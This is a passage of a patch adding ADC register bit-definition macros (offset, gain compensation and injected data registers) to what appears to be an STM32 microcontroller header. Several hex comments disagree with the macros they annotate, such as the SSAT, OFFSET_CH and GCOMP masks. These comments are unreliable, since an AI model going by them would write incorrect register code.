ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 (0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR2_JDATA_10 (0x00000400UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR2_JDATA_11 (0x00000800UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR2_JDATA_12 (0x00001000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR2_JDATA_13 (0x00002000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR2_JDATA_14 (0x00004000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR2_JDATA_15 (0x00008000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR2_JDATA_16 (0x00010000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR2_JDATA_17 (0x00020000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR2_JDATA_18 (0x00040000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR2_JDATA_19 (0x00080000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR2_JDATA_20 (0x00100000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR2_JDATA_21 (0x00200000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR2_JDATA_22 (0x00400000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR2_JDATA_23 (0x00800000UL << ADC_JDR2_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR2_JDATA_24 (0x01000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR2_JDATA_25 (0x02000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR2_JDATA_26 (0x04000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR2_JDATA_27 (0x08000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR2_JDATA_28 (0x10000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR2_JDATA_29 (0x20000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR2_JDATA_30 (0x40000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR2_JDATA_31 (0x80000000UL << ADC_JDR2_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR3 register ********************/ +#define ADC_JDR3_JDATA_Pos (0UL) +#define ADC_JDR3_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR3_JDATA_0 (0x00000001UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR3_JDATA_1 (0x00000002UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR3_JDATA_2 (0x00000004UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR3_JDATA_3 (0x00000008UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR3_JDATA_4 (0x00000010UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR3_JDATA_5 (0x00000020UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR3_JDATA_6 (0x00000040UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR3_JDATA_7 (0x00000080UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR3_JDATA_8 (0x00000100UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR3_JDATA_9 (0x00000200UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR3_JDATA_10 (0x00000400UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR3_JDATA_11 (0x00000800UL << ADC_JDR3_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR3_JDATA_12 (0x00001000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR3_JDATA_13 (0x00002000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR3_JDATA_14 (0x00004000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR3_JDATA_15 (0x00008000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR3_JDATA_16 (0x00010000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR3_JDATA_17 (0x00020000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR3_JDATA_18 (0x00040000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR3_JDATA_19 (0x00080000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR3_JDATA_20 (0x00100000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR3_JDATA_21 (0x00200000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR3_JDATA_22 (0x00400000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR3_JDATA_23 (0x00800000UL << ADC_JDR3_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR3_JDATA_24 (0x01000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR3_JDATA_25 (0x02000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR3_JDATA_26 (0x04000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR3_JDATA_27 (0x08000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR3_JDATA_28 (0x10000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR3_JDATA_29 (0x20000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR3_JDATA_30 (0x40000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR3_JDATA_31 (0x80000000UL << ADC_JDR3_JDATA_Pos) /*!< 0x80000000 */ + 